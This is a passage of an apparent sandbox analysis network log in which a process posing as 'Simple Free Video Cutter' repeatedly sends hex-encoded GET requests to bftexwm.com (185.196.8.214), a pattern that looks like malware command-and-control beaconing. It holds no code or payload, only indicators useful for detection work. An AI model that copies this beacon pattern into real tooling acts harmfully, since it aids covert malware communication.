Aug 30, 2024 03:18:40.421087980 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:40.838083029 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49812	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:41.110177994 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:41.792015076 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49813	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:42.290688992 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:42.761615038 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49815	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:43.302278042 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:43.975843906 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49816	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:44.326807022 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:44.962111950 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49817	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:45.264084101 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:45.960279942 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49818	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:46.264739037 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:46.885602951 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49819	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:47.344499111 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:47.968383074 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49821	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:48.436671019 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:49.064788103 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49822	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:50.554792881 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:51.189569950 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49823	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:51.517878056 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:52.270565987 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49824	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:53.514236927 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:54.151953936 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49825	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:54.687076092 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:55.284568071 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49826	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:56.226941109 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:56.852278948 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49827	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:57.160078049 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:57.837120056 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49828	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:58.233768940 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:18:58.882601976 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49829	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:18:59.609745979 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:00.294538021 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49830	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:01.318840981 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:01.950877905 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49831	185.196.8.214	80	7876	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:02.313007116 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:02.934890985 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49832	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:03.257587910 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:03.937412977 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49833	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:04.311084032 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:04.975864887 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49834	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:05.260370016 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:05.910088062 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49835	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:06.359209061 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:07.013735056 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49836	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:07.182358980 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:07.863007069 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49837	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:08.053864002 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:08.740685940 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49838	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:08.994605064 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:09.677280903 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49839	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:09.945138931 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
